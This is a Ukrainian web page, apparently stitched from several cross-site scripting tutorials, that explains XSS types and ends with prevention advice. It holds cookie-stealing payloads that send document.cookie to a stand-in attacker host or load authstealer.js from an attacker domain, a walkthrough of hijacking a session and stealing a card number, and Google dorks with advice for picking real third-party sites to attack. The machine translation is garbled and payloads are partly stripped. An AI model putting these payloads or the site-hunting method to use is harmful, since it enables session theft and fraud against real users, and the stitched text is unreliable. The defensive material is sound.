Інше 

Використання XSS вразливостей максимум. Що являє собою XSS-вразливість Xss ін'єкції

Міжсайтовий скриптинг (XSS) - це вразливість, яка полягає у впровадженні коду, що виконується на стороні клієнта (JavaScript) на веб-сторінку, яку переглядають інші користувачі.

Вразливість виникає через недостатню фільтрацію даних, які користувач надсилає для вставки на веб-сторінку. Набагато простіше зрозуміти на конкретному прикладі. Згадайте будь-яку гостьову книгу – це програми, які призначені для прийняття даних від користувача та подальшого їх відображення. Уявімо, що гостьова книга ніяк не перевіряє і не фільтрує дані, що вводяться, а просто їх відображає.

Можна накидати свій найпростіший скрипт (немає нічого простіше, ніж писати погані скрипти на PHP - цим багато хто займається). Але вже достатньо готових варіантів. Наприклад, я пропоную почати знайомство з Dojo та OWASP Mutillidae II. Там є схожий приклад. В автономному середовищі Dojo перейдіть у браузері за посиланням: http://localhost/mutillidae/index.php?page=add-to-your-blog.php

Якщо хтось із користувачів ввів:

То веб-сторінка відобразить:

Вітання! Подобається твій веб-сайт.

Якщо користувач введе так:

Вітання! Подобається твій сайт.alert("Pwned")

То це відобразиться так:

Браузери зберігають безліч кукіз великої кількості сайтів. Кожен сайт може отримати кукіз тільки збережені ним самим. Наприклад, сайт example.com зберіг у вашому браузері деякі кукізи. Ви заши на сайт another.com, цей сайт (клієнтські та серверні скрипти) не можуть отримати доступ до кукізів, які зберіг сайт example.com.

Якщо сайт example.com вразливий до XSS, це означає, що ми можемо тим чи іншим способом впровадити в нього код JavaScript, і цей код буде виконуватися від імені сайту example.com! Тобто. цей код отримає, наприклад, доступ до кукіз сайту example.com.

Думаю, всі пам'ятають, що виконується JavaScript у браузерах користувачів, тобто. за наявності XSS, впроваджений шкідливий код отримує доступ до даних користувача, який відкрив сторінку веб-сайту.

Впроваджений код вміє все те, що вміє JavaScript, а саме:

  • отримує доступ до кукіз сайту, що переглядається
  • може вносити будь-які зміни до зовнішнього вигляду сторінки
  • отримує доступ до буфера обміну
  • може впроваджувати програми на JavaScript, наприклад, кі-логери (перехоплювачі натиснутих клавіш)
  • підчіпляти на BeEF
  • та ін.

Найпростіший приклад з кукіз:

alert(document.cookie)

Насправді alert використовується тільки для виявлення XSS. Реальне шкідливе корисне навантаження здійснює приховані дії. Вона приховано зв'язується з віддаленим сервером зловмисника та передає на нього вкрадені дані.

Види XSS

Найголовніше, що потрібно розуміти про види XSS те, що вони бувають:

  • Зберігають (постійні)
  • Відображені (Непостійні)

Приклад постійних:

  • Введене зловмисником спеціально сформоване повідомлення у гостьову книгу (коментар, повідомлення форуму, профіль), яке зберігається на сервері, завантажується з сервера щоразу, коли користувачі запитують відображення цієї сторінки.
  • Зловмисник отримав доступ до даних сервера, наприклад, через SQL ін'єкцію, і впровадив у дані, що видаються користувачеві, дані зловмисний JavaScript код (з кілогерами або з BeEF).

Приклад непостійних:

  • На сайті є пошук, який разом з результатами пошуку показує щось на кшталт «Ви шукали: [рядок пошуку]», при цьому дані не фільтруються належним чином. Оскільки така сторінка відображається тільки для того, хто має посилання на неї, то поки зловмисник не надішле посилання іншим користувачам сайту, атака не спрацює. Замість відправки посилання на жертву, можна використовувати розміщення зловмисного скрипту на нейтральному сайті, який відвідує жертва.

Ще виділяють (деякі як різновид непостійних XSS вразливостей, деякі кажуть, що цей вид може бути і різновидом постійного XSS):

  • DOM-моделі
Особливості XSS заснованих на DOM

Якщо сказати просто, то зловмисний код «звичайних» непостійних XSS ми можемо побачити, якщо відкриємо HTML код. Наприклад, посилання сформовано таким чином:

http://example.com/search.php?q="/>alert(1)

А при відкритті вихідного HTML коду ми бачимо щось на кшталт такого:

alert(1)" /> Знайти

А DOM XSS змінюють DOM структуру, яка формується в браузері на льоту і побачити зловмисний код ми можемо тільки при перегляді структури, що сформувалася DOM. HTML у своїй не змінюється. Давайте візьмемо для прикладу такий код:

сайт:::DOM XSS Error error occurred... function OnLoad() ( var foundFrag = get_fragment(); return foundFrag; ) function get_fragment() ( var r4c = "(.*?)"; var results = location.hash .match(".*input=token(" + r4c + ");"); if (results) ( document.getElementById("default").innerHTML = ""; return (unescape(results)); ) else ( return null; )) display_session = OnLoad(); document.write("Your session ID was: " + display_session + "

")

То в браузері ми побачимо:

Вихідний код сторінки:

Давайте сформуємо адресу так:

http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1);

Тепер сторінка виглядає так:

Але давайте заглянемо у вихідний код HTML:

Там нічого не змінилося. Про це я й казав, нам потрібно дивитися DOM структуру документа, щоб виявити зловмисний код:

Тут наведено робочий прототип XSS, для реальної атаки нам потрібне складніше корисне навантаження, яке неможливе через те, що додаток зупиняє читання відразу після точки з комою, і щось на зразок alert(1);alert(2) вже неможливо. Тим не менш, завдяки unescape() у даних, що повертаються ми можемо використовувати корисне навантаження на кшталт такий:

http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1)%3balert(2);

Де ми замінили символ; на кодований в URI еквівалент!

Тепер ми можемо написати шкідливе корисне навантаження JavaScript та скласти посилання для відправки жертві, як це робиться для стандартного непостійного міжсайтового скриптингу.

XSS Auditor

У Google Chrome (а також в Opera, яка тепер використовує движок Google Chrome), на мене чекав ось такий сюрприз:

dom_xss.html:30 The XSS Auditor скасовано для execute a script in "http://localhost/tests/XSS/dom_xss.html#input=token‹script›alert(1);" тому, що його джерело коду було затверджено в результаті. Аудитор був налаштований як сервер, який виявляє інший "X-XSS-Protection" або "Content-Security-Policy" header.

Тобто. тепер у браузері є XSS аудитор, який намагатиметься запобігати XSS. У Firefox ще немає такої функціональності, але, гадаю, це справа часу. Якщо реалізація в браузерах буде вдалою, то можна говорити про значну скруту застосування XSS.

Корисно пам'ятати, що сучасні браузери роблять кроки щодо обмеження рівня експлуатації проблем на кшталт непостійних XSS і заснованих на DOM XSS. У тому числі це потрібно пам'ятати при тестуванні веб-сайтів за допомогою браузера - цілком може виявитися, що веб-додаток вразливий, але ви не бачите підтвердження, що спливає, тільки з тієї причини, що його блокує браузер.

Приклади експлуатації XSS

Зловмисники, які мають намір використовувати вразливості міжсайтового скриптингу, повинні підходити до кожного класу вразливостей по-різному. Тут описані вектори атак кожного класу.

При вразливості XSS в атаках можна використовувати BeEF, який розширює атаку з веб-сайту на локальне оточення користувачів.

Приклад атаки з непостійним XSS

1. Аліса часто відвідує певний веб-сайт, який хостить Боб. Веб-сайт Боба дозволяє Алісі здійснювати вхід з ім'ям користувача/паролем та зберігати чутливі дані, такі як платіжна інформація. Коли користувач здійснює вхід, браузер зберігає куки авторизації, які мають безглузді символи, тобто. обидва комп'ютери (клієнт та сервер) пам'ятають, що вона увійшла.

2. Мелорі зазначає, що веб-сайт Боба містить непостійну XSS вразливість:

2.1 При відвідуванні сторінки пошуку, вона вводимо рядок для пошуку і натискає кнопку відправити, якщо результати не знайдені, сторінка відображає введений рядок пошуку, за яким слідують слова «не знайдено» і url має вигляд http://bobssite.org?q= її пошуковий запит

2.2 З нормальним пошуковим запитом на кшталт слова «собачки» сторінка просто відображає «собачки не знайдено» і url http://bobssite.org?q=собачки, що є цілком нормальною поведінкою.

2.3 Проте, коли у пошук надсилається аномальний пошуковий запит на кшталт alert("xss"); :

2.3.1 З'являється повідомлення із попередженням (що каже "xss").

2.3.2 Сторінка відображає alert("xss"); не знайдено поряд із повідомленням про помилку з текстом xss.

2.3.3 url, придатний для експлуатації http://bobssite.org?q=alert("xss");

3. Мелорі конструює URL для експлуатації вразливості:

3.1 Вона робить URL http://bobssite.org?q=puppies. Вона може вибрати конвертувати ASCII символи в шістнадцятковий формат, такий як http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E для того, щоб люди не змогли негайно розшифрувати шкідливу URL-адресу.

3.2 Вона надсилає e-mail деяким членам сайту Боба, який нічого не підозрює, кажучи: «Зацініть кльових собачок».

4. Аліса отримує листа. Вона любить собачок і кликає на засланні. Вона переходить на сайт Боба в пошук, вона не знаходить нічого, там відображається "собачки не знайдено", а в самій середині запускається тег зі скриптом (він невидимий на екрані), завантажує та виконує програму Мелорі authstealer.js (спрацювання XSS атаки). Аліса забуває про це.

5. Програма authstealer.js запускається в браузері Аліси так, ніби її джерелом є веб-сайт Боба. Вона захоплює копію куки авторизації Аліси і відправляє на сервер Мелорі, де Мелорі їх витягує.

7. Тепер, коли Мелорі всередині, вона йде до платіжного розділу веб-сайту, дивиться і краде копію номера кредитної картки Аліси. Потім вона йде змінює пароль, тобто. тепер Аліса навіть більше не може зайти.

8. Вона вирішує зробити наступний крок і відправляє сконструйоване подібним чином посилання самому Бобу, і таким чином отримує адміністративні привілеї сайту Боба.

Атака з постійним XSS

  • Мелорі має обліковий запис на сайті Боба.
  • Мелорі зауважує, що веб-сайт боба містить постійну XSS вразливість. Якщо ви переходите в новий розділ, розміщуєте коментар, він відображає що б у нього не надрукували. Але якщо текст коментаря містить HTML-теги, ці теги будуть відображені як є, і будь-які теги скриптів запускаються.
  • Мелорі читає статтю у розділі Новини та пише коментар у розділі Коментарі. У коментарі вона вставляє текст:
  • У цій історії мені так сподобалися собачки. Вони такі славні!
  • Коли Аліса (або ще хтось) завантажують сторінку з цим коментарем, тег скрипта Мелорі запускається і краде куки авторизації Аліси, відправляє на секретний сервер Мелорі для збору.
  • Мелорі тепер може перехопити сесію Аліси та видати себе за Алісу.
    • Пошук сайтів уразливих до XSS

    Дорки для XSS

    Першим кроком є ​​вибір сайтів, на яких ми виконуватимемо XSS атаки. Сайти можна шукати за допомогою дорків Google. Ось кілька таких дорків, які скопіюйте і вставте в пошук Гугла:

    • inurl:search.php?q=
    • inurl:.php?q=
    • inurl:search.php
    • inurl:.php?search=

    Перед нами з'явиться список сайтів. Потрібно відкрити сайт і знайти на ньому поля введення, такі як форма зворотного зв'язку, форма введення, пошук сайту і т.д.

    Відразу зауважу, що практично марно шукати вразливості в популярних веб-додатках, що автоматично оновлюються. Класичний приклад такої програми - WordPress. Насправді, уразливості у WordPress, а особливо в його плагінах, є. Більше того, є безліч сайтів, які не оновлюють ні движок WordPress (через те, що веб-майстер вніс у вихідний код якісь свої зміни), ні плагіни та теми (як правило, це піратські плагіни та теми). Але якщо ви читаєте цей розділ і дізнаєтеся з нього щось нове, значить WordPress поки не для вас ... До нього обов'язково повернемося пізніше.

    Найкращі цілі - це різноманітні самописні движки та скрипти.

    Як корисне навантаження для вставки можна вибрати

    alert(1)

    Звертайте увагу, в які теги HTML коду потрапляє ваш впроваджений код. Ось приклад типового поля введення (input):

    alert(1)

    Наше корисне навантаження потрапить туди, де зараз слово «наволочка». Тобто. перетворитися на значення тэга input . Ми можемо цього уникнути - закриємо подвійну лапку, а потім і сам тег за допомогою

    "/>alert(1)

    Давайте спробуємо її для якогось сайту:

    Добре, вразливість є

    Програми для пошуку та сканування XSS вразливості

    Напевно, всі сканери веб-застосунків мають вбудований сканер XSS вразливостей. Ця тема неохопна, краще знайомитися з кожним сканером окремо.

    Міжсайтовий скриптинг із застосуванням java script - найбільш популярний різновид атак. У даному матеріалі ми розповімо вам про те, які неприємності викликає використання java script і як убезпечити себе від XSS атак.

    Що таке атака XSS?

    XSS – тип атак на користувачів Інтернет-ресурсів, які мають на меті викрадення автентифікаційних даних адмінів сайтів для отримання доступу до адміністративної частини, інших користувачів, які мають можливість персонального доступу до закритих частин ресурсу.

    Дані атаки можуть проводитися не тільки з метою злому сайту, але також і для викрадення:

    • Облікові дані для доступу до сторонніх ресурсів;
    • номерів банківських карток;
    • Дані для доступу до електронних гаманців;
    • Контактні дані;
    • Інші власні конфіденційні дані.
    Напрями атак XSS

    Цей тип атак має два напрямки:

    Активні – різновид атак, коли зловмисник намагається знайти вразливі місця у фільтрі Інтернет-ресурсу. За допомогою певної комбінації символів та тегів хакер створює такий запит, який ресурс розуміє та виконує команду. Після знаходження вразливого місця в системі безпеки, у запит вкладається шкідливий код, який, наприклад, пересилатиме всі cookie у комфортне для хакера місце.

    Пасивні – припускають втручання суб'єкта атаки. Суть – змусити користувача перейти за шкідливим посиланням реалізації шкідливого коду. Дані атаки важко реалізувати, оскільки вимагають наявності у зловмисника відмінних технічних знань і хороших знань у галузі психології.

    Правила безпеки

    Щоб не стати жертвою атаки XSS, слід дотримуватися наступних правил безпеки:

  • Головне правило для розробників використання будь-якого фільтра.
  • Фільтрувати всі вкладені конструкції.
  • Шифрування. Під час створення фільтра слід обов'язково враховувати ризик кодування атак. Є безліч програм-кодувальників, за допомогою яких можна зашифрувати будь-яку атаку так, що не один фільтр «не побачить» її. Отже, застосовуйте розшифровку у фільтрі до початку виконання коду запиту.
  • Застосування тегів. Існує одне вразливе місце, пов'язане з тегами url, bb, img, що мають безліч параметрів, включаючи lowsrc і dynsrc, що містять javacsript. Ці теги слід фільтрувати. Якщо не використовуватимете на своєму ресурсі картинки, то взагалі відключіть їх.
  • Фільтр, що використовується, повинен враховувати різні варіанти комбінацій символів. Чим їх більше, тим краще.
    • Висновок

    За статистикою, 84% Інтернет-ресурсів добре захищені від XSS атак. Інші 16% не в змозі ефективно протистояти їм. Усунення цього грубого недоліку вимагає від власників сайтів додаткових капіталовкладень у безпеку, більшість із них не готові. Однак посилення законодавства щодо пошкодження, витоку та розголошення персональних даних все більше змушує несумлінних власників покращувати безпеку своїх сайтів.

    І є комплексним підручником з міжсайтового скриптингу.

    Частина перша: Що таке XSS?

    Міжсайтовий скриптинг ( англ. Cross-site scripting) - це атака націлена на впровадження коду, що дозволяє зловмиснику виконати шкідливий JavaScript у браузері іншого користувача.

    Зловмисник не атакує свою жертву безпосередньо. Натомість він використовує вразливість веб-сайту, який відвідує жертва і впроваджує шкідливий JavaScript код. У браузері жертви шкідливий JavaScript відображається як легітимна частина веб-сайту, а сам веб-сайт виступає як безпосередній учасник атакуючого.

    Впровадження шкідливого JavaScript-коду

    Єдиний спосіб для атакуючого запустити шкідливий JavaScript у браузері жертви - це впровадити його в одну зі сторінок, яку завантажує жертва з веб-сайту. Це можливо, якщо веб-сайт дозволяє користувачам вводити дані на своїх сторінках, а атакуючий зможе вставити рядок, який визначатиметься як частина коду в браузері жертви.

    У наведеному нижче прикладі показано простий серверний скрипт, який використовується для відображення останнього коментаря на сайті:

    print ""
    print "Останній коментар:"
    print database.latestComment
    print ""

    Скрипт передбачає, що коментар складається лише із тексту. Однак, оскільки включено безпосереднє введення користувача, зловмисник може залишити цей коментар: "..." . Будь-який користувач, який відвідав сторінку, тепер отримуватиме наступну відповідь:


    Останній коментар:
    ...

    Коли браузер користувача завантажує сторінку, він буде виконувати все, у тому числі JavaScript код, що міститься всередині тегів . Атакуючий успішно провів атаку.

    Що таке шкідливий JavaScript?

    Можливість виконання JavaScript у браузері жертви може здатися не дуже шкідливою. JavaScript працює в дуже обмеженому середовищі, яке має вкрай обмежений доступ до файлів користувача та операційної системи. Насправді, ви можете відкрити консоль JavaScript у своєму браузері прямо зараз і виконати будь-який JavaScript який хочете, і дуже малоймовірно, що ви зможете заподіяти будь-яку шкоду вашому комп'ютеру.

    Тим не менш, можливості JavaScript-коду як шкідливого стають більш зрозумілими, якщо врахувати такі факти:

    • JavaScript має доступ до деякої конфіденційної інформації користувача, наприклад, куки (cookies).
    • JavaScript може надсилати HTTP-запити з довільним вмістом у довільному напрямку за допомогою XMLHttpRequest та інших механізмів.
    • JavaScript може змінювати HTML-код поточної сторінки за допомогою методів маніпулювання DOM.

    У разі комбінування ці факти можуть спричинити дуже серйозні порушення правил безпеки, подробиці будуть далі.

    Наслідки шкідливого JavaScript-коду

    Крім цього, можливість виконати довільний JavaScript у браузері іншого користувача дозволяє зловмиснику здійснити такі типи атак:

    Крадіжка кукі

    зловмисник може отримати доступ до cookie-записів жертви, пов'язаних з веб-сайтом, використовуючи document.cookie , відправити їх на свій власний сервер і використовувати їх для отримання конфіденційної інформації, такої як ідентифікатори сеансів.

    Кейлоггер

    зловмисник може зареєструвати слухача подій клавіатури, використовуючи addEventListener , а потім відправити всі натискання клавіш користувача на свій сервер, потенційно записавши конфіденційну інформацію, наприклад, паролі та номери кредитних карток.

    Фішинг

    зловмисник може вставити підроблену форму для входу на сторінку, використовуючи маніпуляції DOM, встановивши action атрибути форми на власний сервер, а потім обдурити користувача для отримання конфіденційної інформації.

    Хоча ці атаки суттєво різняться, всі вони мають одну суттєву схожість: оскільки зловмисник впроваджує код на сторінку сайту, шкідливий JavaScript виконується в контексті цього веб-сайту. Це означає, що він розглядається як будь-який інший сценарій з цього сайту: він має доступ до даних жертви для цього веб-сайту (наприклад, куки-записи) і ім'я хоста, що відображається в рядку URL, буде те саме, що й у веб-сайту. Для всіх цілей сценарій вважається законною частиною веб-сайту, що дозволяє робити все, що може робити сам веб-сайт.

    Цей факт наголошує на ключовій проблемі:

    Якщо зловмисник може використовувати ваш веб-сайт, для виконання довільного JavaScript-коду в браузері інших користувачів безпека вашого веб-сайту та його користувачів скомпрометована.

    Щоб наголосити на цьому моменті, деякі приклади шкідливого скрипту в цьому підручнику залишатимуться без подробиць, використовуючи ... . Це свідчить про те, що проста присутність скрипта, що впроваджується атакуючим, є проблемою, незалежно від того, який конкретний код сценарію насправді виконується.

    Частина друга: XSS-атака Учасники XSS-атаки

    Перед тим, як детально описати, як працює атака XSS, нам необхідно визначити суб'єктів, що беруть участь в атаці XSS. Загалом, в атаці XSS присутні три учасники: веб-сайт, жертва, і зломщик.

    • Веб-сайт видає HTML-сторінки для користувачів, які їх запросили. У наших прикладах він знаходиться за адресою http://website/.
      • База даних веб-сайту є базою даних, яка зберігає деякі введені користувачами дані на сторінках сайту.
    • Жертва – це звичайний користувач веб-сайту, який просить сторінки у нього за допомогою браузера.
    • Атакуючий - це зловмисник, який має намір розпочати атаку на жертву за рахунок використання XSS-уразливості на сайті.
      • Сервер зломщика – це веб-сервер під контролем зловмисника з єдиною метою – крадіжка конфіденційної інформації жертви. У наших прикладах він знаходиться за адресою http://attacker/ .
    Приклад сценарію атаки


    window.location="http://attacker/?cookie="+document.cookie

    Цей скрипт створить HTTP-запит на іншу URL-адресу, яка перенаправить браузер користувача на сервер атакуючого. URL-адреса включає куки жертви як параметр запиту, коли HTTP-запит приходить на сервер атакуючого, зловмисник може витягти ці куки з запиту. Після того, як зловмисник отримав кукі, він може використовувати їх, щоб видати себе за жертву і почати наступний напад.

    З цього моменту, наведений вище HTML код буде називатися шкідливим рядком або шкідливим скриптом . Важливо розуміти, що сам рядок є шкідливим лише якщо він, зрештою, обробляється як HTML-код у браузері жертви, а це може статися лише у разі наявності XSS-уразливості на веб-сайті.

    Як працює цей приклад атаки

    На схемі нижче показаний приклад виконання атаки зловмисником:

  • Атакуючий використовує одну з форм веб-сайту для того, щоб вставити шкідливий рядок у базу даних веб-сайту.
  • Жертва запитує сторінку з веб-сайту.
  • Сайт включає шкідливий рядок з бази даних у відповідь та відправляє його до жертви.
  • Браузер жертви виконує шкідливий сценарій усередині відповіді, відправляючи куки жертви на сервер зловмисника.
    • Типи XSS

    Мета XSS-атаки завжди полягає у виконанні шкідливого JavaScript скрипта у браузері жертви. Існує кілька принципово різних способів досягнення цієї мети. XSS-атаки часто поділяються на три типи:

    • Зберігають (постійні) XSS , де шкідливий рядок бере свій початок з бази даних веб-сайту.
    • Відбиті (непостійні) XSS , де шкідливий рядок породжується із запиту жертви.
    • DOM-моделі XSS , де вразливість виникає у коді за клієнта, а чи не за серверного коду.

    У попередньому прикладі показана XSS-атака, що зберігається. Тепер ми опишемо два інші типи XSS-атак: відбитий XSS і XSS-атака DOM-моделі.

    Відображений XSS

    У разі відображеного XSS-атаки шкідливий рядок є частиною запиту жертви на веб-сайт. Сайт приймає і вставляє цей шкідливий рядок у відповідь, що відправляється назад користувачу. Схема нижче ілюструє цей сценарій:

  • Жертва обманним шляхом атакуючого надсилає URL-запит на веб-сайт.
  • Сайт включає шкідливий рядок із URL-запиту у відповідь жертві.
  • Браузер жертви виконує шкідливий сценарій, що міститься у відповіді, посилаючи куки жертви на сервер зловмисника.

    • Як успішно провести відбиту XSS-атаку?

    Відбита XSS-атака може здатися невинною, оскільки вона вимагає, щоб жертва від свого імені надіслала запит, що містить шкідливий рядок. Так як ніхто не добровільно атакуватиме себе, то здається, що не існує способу фактичного виконання атаки.

    Як з'ясовується, є принаймні два поширені способи змусити жертву почати відбиту XSS-атаку проти себе:

    • Якщо користувач є конкретною особистістю, зловмисник може відправити шкідливе URL-посилання жертві (наприклад, за допомогою електронної пошти або месенджера), і обманом змусити його відкрити посилання для відвідування веб-сайту.
    • Якщо ціль — це велика група користувачів, зловмисник може опублікувати посилання на шкідливу URL-адресу (наприклад, на своєму власному веб-сайті або в соціальній мережі) і чекати відвідувачів, які перейдуть за посиланням.

    Обидва ці методи схожі, і обидва вони можуть бути успішнішими з використанням служб, що дозволяють «укоротити» URL-адресу, вони замаскують шкідливий рядок від користувачів, які могли б ідентифікувати його.

    XSS у DOM-моделі

    XSS в DOM-моделі є варіантом як збереженої і відбитої XSS-атаки. У цій XSS-атаці шкідливий рядок не обробляється браузером жертви, доки цей JavaScript веб-сайту не виконається. Схема нижче ілюструє цей сценарій для відображеної XSS-атаки:

  • Атакуючий створює URL-адресу, що містить шкідливий рядок, і відправляє її жертві.
  • Жертва обманним шляхом атакуючого надсилає URL-запит на веб-сайт.
  • Сайт приймає запит, але не включає у відповідь шкідливий рядок.
  • Браузер жертви виконує легітимний сценарій, що міститься у відповіді, внаслідок чого шкідливий скрипт буде вставлено до сторінки.
  • Браузер жертви виконує шкідливий скрипт, вставлений у сторінку, посилаючи куки жертви на сервер зловмисника.
    • У чому відмінність XSS у DOM-моделі?

    У попередніх прикладах, що зберігаються і відображені XSS-атак сервер вставляє шкідливий скрипт на сторінку, яка потім пересилається у відповіді до жертви. Коли браузер жертви отримав відповідь, він передбачає, що шкідливий скрипт є частиною легітимного змісту сторінки, і автоматично виконує його під час завантаження сторінки, як будь-який інший сценарій.

    У прикладі XSS-атаки в DOM-моделі шкідливий скрипт не вставляється як частина сторінки; єдиний скрипт, який автоматично виконується під час завантаження сторінки, є легітимною частиною сторінки. Проблема полягає в тому, що цей легітимний сценарій безпосередньо використовує введення користувача для того, щоб додати HTML на сторінку. Оскільки шкідливий рядок вставляється в сторінку за допомогою innerHTML, вона аналізується як HTML, внаслідок чого шкідливий скрипт буде виконуватися.

    Ця різниця невелика, але дуже важлива:

    • У традиційному XSS шкідливий JavaScript виконується під час завантаження сторінки, як частина HTML, відправленого сервером.
    • У разі XSS у DOM-моделі шкідливий JavaScript виконується після завантаження сторінки, в результаті ця сторінка з легітимним JavaScript звертається небезпечним способом до введення користувача (що містить шкідливий рядок).
    Як працює XSS у DOM-моделі?

    У попередньому прикладі немає потреби в JavaScript; сервер може генерувати все HTML сам собою. Якщо код на стороні сервера не містить уразливостей, веб-сайт не схильний до вразливості XSS.

    Однак, оскільки веб-програми стають більш просунутими, все більше HTML-сторінок генерується за допомогою JavaScript на стороні клієнта, а не на сервері. У будь-який час контент повинен змінюватися без поновлення всієї сторінки, це можливо з використанням JavaScript. Зокрема, це той випадок, коли сторінка оновлюється після запиту AJAX.

    Це означає, що XSS вразливості можуть бути присутніми не тільки на серверній частині коду вашого сайту, але і на стороні JavaScript-коду клієнта вашого сайту. Отже, навіть при повністю безпечному коді на стороні сервера, клієнтський код може все ще не безпечно включати введення даних користувача при оновленні DOM після завантаження сторінки. Якщо це станеться, код з боку клієнта дозволить провести XSS-атаку не з вини коду з боку сервера.

    XSS на основі DOM-моделі може бути невидимим для сервера

    Існує особливий випадок XSS-атаки в DOM-моделі, в якому шкідливий рядок ніколи не відправляється на сервер веб-сайту: це відбувається тоді, коли шкідливий рядок міститься у фрагменті ідентифікатора URL-адреси (щось після символу #). Браузери не надсилають цю частину URL на сервер, так що веб-сайт не має доступу до нього за допомогою коду на стороні сервера. Код з боку клієнта, однак, має доступ до нього, і, таким чином, можливе проведення XSS-атаки шляхом небезпечної обробки.

    Цей випадок не обмежується ідентифікатором фрагмента. Існує й інше введення користувача, яке є невидимим для сервера, наприклад, нові функції HTML5, такі як LocalStorage і IndexedDB.

    Частина третя:
    Запобігання XSS Методи запобігання XSS

    Нагадаємо, що XSS є атакою типу застосування коду: введені дані користувачем помилково інтерпретуються як шкідливий програмний код. Щоб не допустити цього типу ін'єкції коду, потрібна безпечна обробка введення. Для веб-розробника існує два принципово різних способи виконання безпечної обробки введення:

    • Кодування - це спосіб, який дозволяє зробити введення даних користувачем тільки як дані і не дозволяє обробці браузеру як коду.
    • Валідація - це спосіб фільтрує введення користувача так, що браузер інтерпретує його як код без шкідливих команд.

    Хоча це принципово різні методи запобігання XSS, вони мають кілька спільних рис, які є важливими для розуміння при використанні будь-якого з них:

    Контекст Безпечна обробка вводу повинна бути виконана по-різному залежно від того, де на сторінці використовується введення користувача. вхідний/вихідний Безпечна обробка введення може бути виконана або, коли ваш сайт отримує вхідні дані (вхідний трафік) або перед тим, як сайт вставляє введення користувача в вміст сторінки (вихідний). Клієнт/Сервер Безпечна обробка введення може бути виконана або на стороні клієнта або на стороні сервера, кожен варіант необхідний за різних обставин.

    Перш ніж пояснювати в деталях, як працює кодування та валідація, ми опишемо кожен з цих пунктів.

    Обробка введення користувача в контекстах

    Є багато контекстів на веб-сторінці, де може бути застосований введення користувача. Для кожного з них повинні бути дотримані особливі правила для того, щоб введення користувача не могло «вирватися» зі свого контексту і не могло бути інтерпретовано як шкідливий код. Нижче наведені найпоширеніші контексти:

    Яке значення мають контексти?

    У всіх описаних контекстах вразливість, що призводить до XSS, може виникнути, якщо дані, що вводяться користувачем, були вставлені до першого кодування або валідації. Зловмисник може впровадити шкідливий код, просто вставивши закриваючий роздільник для цього контексту і слідом за ним шкідливий код.

    Наприклад, якщо в якийсь момент веб-сайт включає введення даних користувачем безпосередньо до атрибуту HTML, зловмисник зможе впровадити шкідливий сценарій, розпочавши своє введення з лапки, як показано нижче:

    Це можна було б запобігти, просто видаливши всі лапки в вводі користувача, і все було б добре, але тільки в цьому контексті. Якщо ж введення було вставлено в інший контекст, роздільник, що закриває, буде відрізнятися і ін'єкція стане можливою. З цієї причини, безпечна обробка введення завжди повинна бути адаптована до контексту, де буде вставлено введення користувача.

    Обробка вхідного/вихідного введення користувача

    Інстинктивно, може здатися, що XSS можна запобігти за допомогою кодування або валідації всього введення користувача, як тільки наш сайт отримує його. Таким чином, будь-які шкідливі рядки вже будуть нейтралізовані щоразу, коли вони будуть включатися в сторінку, і скриптам генерації HTML не доведеться піклуватися про безпечну обробку введення користувача.

    Проблема полягає в тому, що як було описано раніше, дані, що вводяться користувачем, можуть бути вставлені в кілька контекстів на сторінці. І немає простого способу визначити, коли введення користувача приходить в контекст — як він в кінцевому підсумку буде вставлений, і той же введення часто повинен бути вставлений в різних контекстах. Спираючись на обробку вхідного введення для запобігання XSS, ми створюємо дуже тендітне рішення, яке буде схильна до помилок. (Застарілі «чарівні лапки» PHP є прикладом такого рішення.)

    Натомість обробка вихідного введення повинна бути вашою основною лінією захисту від XSS, тому що вона може брати до уваги конкретний контекст, які дані, що вводяться користувачем, будуть вставлені. Якоюсь мірою вхідну валідацію можна використовувати для додавання вторинного шару захисту, але про це пізніше.

    Де можливо виконувати безпечну обробку введення користувача

    У більшості сучасних веб-додатків, введення користувача обробляється як на стороні серверного коду, так і на стороні коду клієнта. З метою захисту від усіх типів XSS, безпечна обробка введення повинна бути виконана як у коді на стороні сервера, так і на стороні коду клієнта.

    • Для захисту від традиційних XSS, безпечна обробка введення повинна бути виконана в коді на стороні сервера. Це робиться за допомогою будь-якої мови, яку підтримує сервер.
    • З метою захисту від XSS-атаки в DOM-моделі, де сервер ніколи не отримує шкідливого рядка (наприклад, описана раніше атака через фрагмент ідентифікатора), безпечна обробка введення повинна бути виконана в коді на стороні клієнта. Це робиться за допомогою JavaScript.

    Тепер, коли ми пояснили, чому контекст має значення, чому різницю між вхідною та вихідною обробкою введення має важливе значення, і чому безпечна обробка введення повинна бути виконана з обох сторін, і на стороні клієнта і на стороні сервера, ми можемо продовжити пояснити, яким чином два типи безпечної обробки введення (кодування та валідація) виконуються фактично.

    Кодування

    Кодування є способом виходу із ситуації коли необхідно що б введення даних браузер інтерпретував тільки як дані, а не код. Найпопулярніший тип кодування у веб-розробці, це маскування HTML, який перетворює символи, такі як< и >в< и >відповідно.

    Наступний псевдокод є прикладом того, як дані, що вводяться користувачем (користувацький введення) можуть бути закодовані з використанням HTML маскування і потім вставлені в сторінку за допомогою серверного сценарію:

    print ""
    print "Останній коментар: "
    print encodeHtml(userInput)
    print ""

    Якщо користувач введе наступний рядок ... , результуючий HTML виглядатиме так:


    Останній коментар:
    ...

    Тому що всі символи зі спеціальним значенням були замасковані, браузер не буде розбирати будь-яку частину введення користувача, як HTML.

    Кодування коду на стороні клієнта та сервера

    При виконанні кодування коду з боку клієнта завжди використовується мова JavaScript, яка має вбудовані функції, які кодують дані для різних контекстів.

    При виконанні кодування у коді на стороні сервера, ви покладаєтеся на функції доступні у вашій мові або фреймворку. Через велику кількість мов і доступних фреймворків цей навчальний посібник не охоплюватиме деталі кодування в якійсь конкретній мові сервера або фреймворку. Проте функції кодування JavaScript, що використовуються на стороні клієнта, також використовуються при написанні коду на стороні сервера.

    Кодування на стороні клієнта

    При кодуванні введення користувача на стороні клієнта за допомогою JavaScript є кілька вбудованих методів і властивостей, які автоматично кодують усі дані в контекстно-залежний стиль:

    Останній контекст вже згадуваний вище (значення JavaScript) не входить до цього списку, тому що JavaScript не надає вбудований спосіб кодування даних, який буде включений у вихідний код JavaScript.

    Обмеження кодування

    Навіть під час кодування можливе використання зловмисних рядків у деяких контекстах. Яскравим прикладом цього є те, коли введення користувача використовується для надання URL-адреси, наприклад, у наведеному нижче прикладі:

    document.querySelector("a").href = userInput

